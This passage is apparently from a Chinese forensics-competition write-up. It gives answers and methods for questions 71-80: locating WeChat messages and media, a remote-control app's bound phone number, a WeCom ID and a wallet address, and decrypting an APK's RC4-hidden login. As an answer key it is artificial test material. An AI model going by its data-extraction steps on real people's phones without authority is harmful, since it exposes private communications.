43:视频**
47:大表情**
49:分享卡片**
1000:撤回消息提醒**
436207665:红包**
419430449:转账**
1090519089:文件**
媒体类型消息(如图片、语音、视频等)可通过msgId字段在WxFileIndex.db的WxFileIndex3表中找到对应文件路径。
3.媒体文件路径获取
图片地址:
缩略图:message表中imgPath字段值(如:THUMBNAIL_DIRPATH://th_5a24c5d362dae72b0ad52d78767ba883)指向image2文件夹中对应文件。
原图:发送图片和接收图片有不同的拼接规则。
视频地址:通过message表的imgPath在video文件夹中找到对应视频。封面.jpg,视频.mp4。
语音地址:message表的imgPath字段经MD5加密后,前4字母表示两级文件夹,文件名格式为msg_imgPath值.amr。
文件地址:发送文件存于/sdcard/Android/data/com.tencent.mm/MicroMsg/Download,通过msgId在WxFileIndex3表中查找路径。
本地头像:avatar文件夹中,微信ID经MD5加密后前4字母表示两级文件夹,格式为user_md5字符串.png。
4.语音文件处理
微信语音使用SILK v3编码,需用silk-v3-decoder进行解码。安装GCC、ffmpeg等工具后进行转码。转码完成后,需将语音文件地址后缀改为转码后的格式(如.mp3)。
在userinfo表中找到微信账号“开源账房”的内部ID号wxid_qcz3701g92f022,如下图
71.检材五中安装的远程控制软件绑定的手机号为? 17132955291
X-ways打开镜像文件,定位到目录/data/com.oray.sunlogin/databases
同时导出下图中选中的三个文件,(如果只导出db文件,看不到数据)
然后用SQLiteStudio或者DBBrowserforSQLite打开其中的com_oray_sunlogin_account.db文件,可以看到手机号
注意,DBBrowserforSQLite关闭后,会自动将db-shm和db-wal文件合并到db文件中,SQLiteStudio没有该功能。
72.分析检材5,该手机中登录的企业微信内部ID号为?
1688856484511900
注意企业微信的报名为com.tencent.wework,到该目录下去寻找答案
在\data\com.tencent.wework\app_data\Profiles\B1BAE2879B210815AFAA6B5EAF783EE2\目录下导出conv_snapshot文件
VScode打开查看
73.分析检材5,机主老板的虚拟币钱包地址为? 0xef9edf6cdacb7d925aee0f9bd607b544c5758850
74.分析手机应用列表,其中一款包名为demo.honglian的手机应用的安装包SHA256值是?
ab70c58c24f8ffd8a9d6322216c7fd3f185373365c11ff3bf4d2543e2253ce7f
在/system目录下导出package.xml文件,用相关联的程序打开
全局搜索demo.honglian,找到app安装目录/data/app/demo.honglian-mpZYIiiXkYv8zw0q2rqA5Q==
切换到相应目录,
导出base.apk文件,用certutil命令计算哈希值ab70c58c24f8ffd8a9d6322216c7fd3f185373365c11ff3bf4d2543e2253ce7f
C:\\Users\\renfe\\Desktop\\fupan\>certutil -hashfile C:\\Users\\renfe\\Desktop\\fupan\\base.apk sha256**
SHA256 的 C:\\Users\\renfe\\Desktop\\fupan\\base.apk 哈希:**
ab70c58c24f8ffd8a9d6322216c7fd3f185373365c11ff3bf4d2543e2253ce7f**
CertUtil: -hashfile 命令成功完成。**
C:\\Users\\renfe\\Desktop\\fupan\>**
75.该应用是否有读取手机通讯录的权限?
是 否
76.该应用APK所使用的签名算法为
A.SHA256-RSA B.SHA1-RSA C.MD5-RSA D.CRC32-RSA
77.该应用安装之后的程序名称为?
A.honglian B.弘连网络 C.HongLian D.tj
78.该应用的登陆用户名为? tj_2023
第一步找到程序入口demo.honglian.ActivityC0008rg_n
第二步,分析入口函数
根据转码后的信息和判断逻辑,可知
只有表达式
!rg_n39294.equals(“a45fc1619fcf4d”) || !rg_n392942.equals(“a45fc132cb901741”)
为否的情况下才会登录成功
那么,也就是运算符||左右都为否才为否,也就是
rg_n39294.equals(“a45fc1619fcf4d”)为真且rg_n392942.equals(“a45fc132cb901741”)为真
查看rg_n39294和rg_n392942的赋值语句,可知rg_n39294与用户账号有关
进一步分析其赋值语句
String rg_n39294 = C0000rg_n39291.rg_n39294(C0076rg_n32354.rg_n32434(String.valueOf(this.rg_n7.GetTextView().getText()).getBytes(), "zhaohong".getBytes()), false);
在以上这句话中,调用了类C0000rg_n39291的方法rg_n39294,
源码为
package anZhuo.MoMingMoKuai.ShuZuLeiXing;
/\* renamed from: anZhuo.MoMingMoKuai.ShuZuLeiXing.rg_n39291 reason: case insensitive filesystem \*/
public class C0000rg_n39291 {
public static String rg_n39294(byte[] bArr, boolean z) {
if (bArr == null \|\| bArr.length == 0) {
return "";
}
String str = "";
int i = 0;
while (i \< bArr.length) {
String hexString = Integer.toHexString(bArr[i] & 255);
i++;
str = hexString.length() == 1 ? str + "0" + hexString : str + hexString;
}
return z ? str.toUpperCase() : str.toLowerCase();
}
}
这段 Java 代码实现了将字节数组转换为十六进制字符串的功能。方法 rg_n39294 接受一个字节数组 bArr 和一个布尔值 z 作为参数,并返回一个字符串。
rg_n39294的赋值语句又进一步调用了C0076rg_n32354.rg_n32434方法,
第一个参数为String.valueOf(this.rg_n7.GetTextView().getText()).getBytes()
第二个参数为"zhaohong".getBytes()
第一个参数很明显为用户输入的用户账户,
根据RC4Base方法代码,第二个参数应该是RC4加密算法的key值
由于RC4是对称加密算法,所以根据key值可以进行逆向
加密后的密文是a45fc1619fcf4d,密钥是zhaohong
79.该APK的登陆密码加密方式为?
A.RSA B.RC4 C.DES D.3DES
由上题中RC4Base方法的源码可知
private static byte[] RC4Base(byte[] bArr, byte[] bArr2) {
byte[] initKey = initKey(bArr2);
byte[] bArr3 = new byte[bArr.length];
int i = 0;
int i2 = 0;
int i3 = 0;
while (i \< bArr.length) {
i3 = (i3 + 1) & 255;
int i4 = ((initKey[i3] & 255) + i2) & 255;
byte b = initKey[i3];
initKey[i3] = initKey[i4];
initKey[i4] = b;
bArr3[i] = (byte) (initKey[((initKey[i3] & 255) + (initKey[i4] & 255)) & 255] \^ bArr[i]);
i++;
i2 = i4;
}
return bArr3;
}
这段 Java 代码实现了基于RC4算法的加密/解密功能。下面是对代码的分析:
方法 RC4Base 接受两个字节数组 bArr 和 bArr2 作为参数,并返回一个字节数组。
首先使用 initKey 方法对 bArr2 进行初始化,得到一个初始密钥数组 initKey。
创建一个与 bArr 同样长度的字节数组 bArr3 用于保存加密/解密后的结果。
使用循环遍历 bArr 数组中的每个字节。
在循环中,通过对 i3、i2 的更新和交换 initKey 数组中的元素,对 bArr 中的每个字节进行加密或解密操作。
将处理后的字节存储到 bArr3 数组中。
循环直到遍历完所有字节。
返回最终的加密/解密结果字节数组 bArr3。
综合来看,这段代码实现了RC4算法的加密/解密操作,使用了给定的密钥数组 bArr2 对输入数据 bArr 进行处理,并返回加密/解密后的结果。
80.该APK的登陆密码明文为?
tj_admin
按照同样的方法解密密码